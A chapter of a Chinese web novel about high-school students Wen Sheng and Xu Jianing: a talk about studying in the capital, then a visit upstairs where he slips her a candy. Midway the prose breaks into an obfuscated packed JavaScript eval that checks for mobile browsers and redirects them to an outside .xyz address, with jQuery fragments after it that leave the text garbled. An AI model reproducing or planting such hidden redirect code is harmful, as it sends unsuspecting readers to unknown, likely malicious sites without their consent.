“温笙。”他看向她,眼神里带着点疲倦后的坦然,“你怎么来了。”
“路过。”温笙站在离他几步远的地方,没动。
“嗯,路过。”他低声重复了一遍。
气氛一下沉了下来,温笙没走近一步,也没转身离开,两人就这样在老槐树下沉默对望,谁也没有先说一句话。
最终,还是许家宁败下阵来,他喉结微微一滚,终究还是低声开口问:
“温笙,你觉得首都怎么样?”
温笙愣了一下,不太明白他为什么忽然问这个,她想从他的表情中读出点什么,可他只是盯着她的影子。
“首都有京华大学、国仁大学、北城师范等等。”许家宁不紧不慢地列举名校,仿佛那一所所遥远的学府,就近在眼前。
“我看过你的成绩,语文和英语一直稳定,数学虽然差点,但不拖后腿,如果能把这一科拉上来,你完全有希望去首都。”
温笙没想到他竟比自己还清楚,她抿了抿唇,别过脸去:“你怎么连我的各科成绩都记得这么清楚?”
“因为我一直在看啊。”许家宁说。
温笙眨了眨眼,唇角微微上翘,有些得意:“我说我考得不错吧。”
许家宁怔了怔,随即低声笑了一下,眼睛里像是被她点亮的光:“嗯,是不错。”
“首都啊……”温笙轻声重复了一遍,脑海里不自觉浮现出地理课本上的地图,她在心里认真衡量这段距离,从南到北,那是一段很遥远的路,自己连市里都没去过呢。
“挺远的。”她认真地说,又停顿了一下,补充道,“不过,要是能考上,我肯定会去的。”
“嗯。”
许家宁低着头,掩住了眼底一瞬间的情绪波动,他往旁边挪了一步,让两人的影子重叠在一起,盯了好几秒,唇角微微上扬。
接着,他又往前走了两步,走到她身侧。
夕阳的余晖从背后斜斜洒落,两人的影子被拉得很长,在地面上并肩交汇,他的那一抹轮廓微微前倾,仿佛正靠近她耳畔低语。
“那就一起去吧,首都。”
许家宁没有抬头,而是盯着脚下交叠的影子,唇角轻轻弯起:“周六,老地方见。”
说完便转身往前走去,夕阳下,他的影子与她的影子还纠缠在一处,迟迟舍不得分开,直到拐角才一点点拉开。
温笙愣愣地站在原地,目光追随着那道背影。
明明和他并肩说话的场景经历过很多次了,可每一次,她都还是会不受控制地紧张,就像第一次被他叫到名字那样,心会怦怦直跳。
直到夕阳完全落下去,她才缓过神来,往教学楼方向跑去。
第一节晚自习下课,教室里顿时热闹起来,有人伸懒腰,有人拿着书去走廊透透气,还有人结伴去水房打水。
数学课代表在前排走来走去,边收边喊:“快点交数学作业本啊,别拖。”
“哎呀,等会等会,我的本子怎么找不到了。”
后排立刻有人起哄:“你昨天写了吗?可别糊弄。”
“写了写了!”那人赶紧把本子拍到课代表怀里,“别乱说啊!”
李清妙也在翻书包,“奇怪,我明明放在这了啊?怎么就找不到了。”
她干脆把书包里所有东西都掏了出来,书本、草稿纸、铅笔盒一股脑堆在桌上。等翻到最底下时,才抽出一本卷了角的数学作业本。
她哭笑不得:“怪不得找不到,这压根不是我的。”
温笙好奇地探头一看,只见作业本封皮上歪歪斜斜写着三个字:“李长水”。
李清妙“啧”了一声,把作业本往桌上一扔:“八成是昨晚爸妈帮我收拾书包的时候塞错了,把我哥的作业塞到我这儿来了。真是的,害我找半天。”
“笙笙,陪我去高二那层找我哥好不好?我一个人不敢去。”
温笙有些意外:“不就是去拿个作业嘛,你怕什么?”
李清妙说:“你是不知道,我哥老在家里抱怨他们班主任刘志刚,说他现在当了教导主任,管得比以前还严。随时查人,上课迟到一分钟都得记,还狠狠抓早恋。”
她说着,还夸张地摆了个手势,学着李长水的语气:“刘志刚盯过来的时候啊,就像鹰盯小鸡似的,眼神贼犀利,谁跟谁多说两句话,他立刻就能看出不对劲来。哎呀,我哥说那感觉,浑身直冒冷汗。”
说完她还打了个哆嗦,故意双手抱肩摩擦,惹得温笙忍不住笑出声:“是不是有点夸张了?”
“夸张?”
李清妙伸出食指在温笙面前左右摇了摇,继续说:“我哥说那个刘志刚之前不是这样的,今年当上教导主任后变了个人。以前还偶尔笑一笑,现在板着脸,一天到晚盯着学生。作业迟交一次就训话,成绩掉几分都要叫家长,还专门查谈恋爱的。”
她压低声音,装模作样学起刘志刚的腔调:“学习第一,其他的都给我放一边。谁要是敢不听话,就别怪我不客气!”
学得惟妙惟肖,惹得温笙“噗嗤”笑出声。
李清妙这才松了口气,故意眨眨眼:“所以啊,你必须陪我去,要不然我真不敢一个人上楼。”
温笙看了眼墙上的钟,时间还来得及。
“走吧。”
高二的教室在楼上,明显要比高一安静和压抑,走廊里没什么笑闹声,只有备考的紧绷感,偶尔有同学出来打水,也是匆匆路过。
温笙她们一到这层,下意识放慢了脚步,降低存在感,不想打扰高二学生自习的氛围。
“我哥坐那!”李清妙一眼就看到了自家哥哥的位置。
温笙顺着望去,果然看见靠窗的位置,李长水正专注地算题,桌面被书本和练习册堆得老高,几乎快要挡住他半张脸。
他的右边坐着一个熟悉的侧影,是许家宁。
温笙怔了怔,明明还记得他原本的座位是在教室靠里的位置,那种不容易被注意到的地方,现在换到了窗边,正对着走廊的方向,一转头就能看到走廊。
“我哥换位置了?之前不是坐里面吗,怎么跑到窗边了。”李清妙也有些疑惑。
正说着,许家宁忽然抬起头,目光精准地落在温笙身上,愣了一下,眉心微微一挑,有些意外,似是在无声地问:“你怎么来了?”
下一秒,他的视线往她身旁一偏,看到站在她旁边正拿着作业本晃来晃去的李清妙,才反应过来,拍了拍李长水的肩膀,低声提醒:“你妹妹来了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248042|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>李长水被拍了一下,扭头看向许家宁,又顺着他下巴的方向看过去,果然看见走廊上自家妹妹正拿着一个作业本站着,对他勾了勾手。
“哎哟喂。”他赶紧推开椅子站了起来,“这小祖宗怎么跑上来了?”
李清妙走到门口递上作业,李长水翻了两页,确认是自己的后皱眉道:“我的作业怎么在你那?不是跟你说了别乱翻我书桌了吗?”
“我哪翻你的了!是爸妈拿错了。”李清妙翻了个白眼,“再说了,我的字哪有你那么丑?”
李长水“啧”了一声,合上作业本:“你这张嘴啊,迟早得气死爸妈。”
“那也是你先带坏的。”
“我是教你学会反驳,不是教你睁眼说瞎话,更没教你瞎话用在我身上。”
两人你一言我一语,在门口你来我往地斗起嘴,完全无视了周围投来的视线。
温笙站在一旁,无奈又好笑地看着这对活宝兄妹,走廊里原本压抑的气氛,也因为他们这几句斗嘴,轻松了不少。
她看见李清妙朝她招手,正准备和许家宁打个招呼就离开,忽然看见窗台边放着一颗大白兔奶糖,上面画着一颗蓝红相间的兔子。
温笙抬头看过去,窗边的许家宁仍低着头,手中写字的动作没停,仿佛刚才的那颗奶糖根本不是他放的,而是大风吹来的。
下一秒,他假装伸懒腰,手肘顺势一推,“不小心”地把那颗奶糖往外推了推,推到窗台边缘,差点就要掉出来。
一气呵成,面不改色。
整个过程,许家宁都没有看窗外的人一眼,甚至还拿笔在题目旁边画了个圈,提醒自己要回头再复查一遍。
温笙伸手将窗边的奶糖收进了裤兜里,然后跑向李清妙,和她并肩下了楼。
身后教室里,许家宁依旧低头写着题,仿佛什么都没发生过,只是手中的那支笔,在一处停顿了几秒。
没过多久,李长水晃晃悠悠地从门外走回来,重新坐下。
许家宁压低声音问:“刚刚在外面,有没有看到班主任?”
“没有啊。”李长水撩了撩额前的碎发,把作业本往桌上一放,“不过下一节晚自习他看班,应该快上来了。”
“你要问他题啊?别急,他一上来肯定要先点人名。”
“不是。”许家宁否认。
“对了,我刚刚给你的那颗大白兔好吃吗?”李长水问。
“那是我妈去外省开会,在百货大楼里抢的,说是限量供应。”
许家宁点点头:“挺甜的。”
“那可不。”李长水得意地往后一靠,“不过你什么时候吃的?我怎么不知道?”
许家宁侧了下头,疑惑地问:“我什么时候吃东西还得报备你?”
李长水被呛了一句,也不生气,自顾自推理起来:“那估计是我刚刚跟李清妙斗嘴的时候你趁机吃的,下次不要吃得这么小心翼翼嘛,早知道刚刚多给你两颗,也不至于吃得这么小心。”
许家宁翻了一页,头也不抬地回:“等等下课,我再去小卖部给你买袋核桃。”
“哇,一颗奶糖换一袋核桃,值了。”李长水笑得眼睛眯成一条缝。
许家宁淡淡地吐出两个字:“补脑。”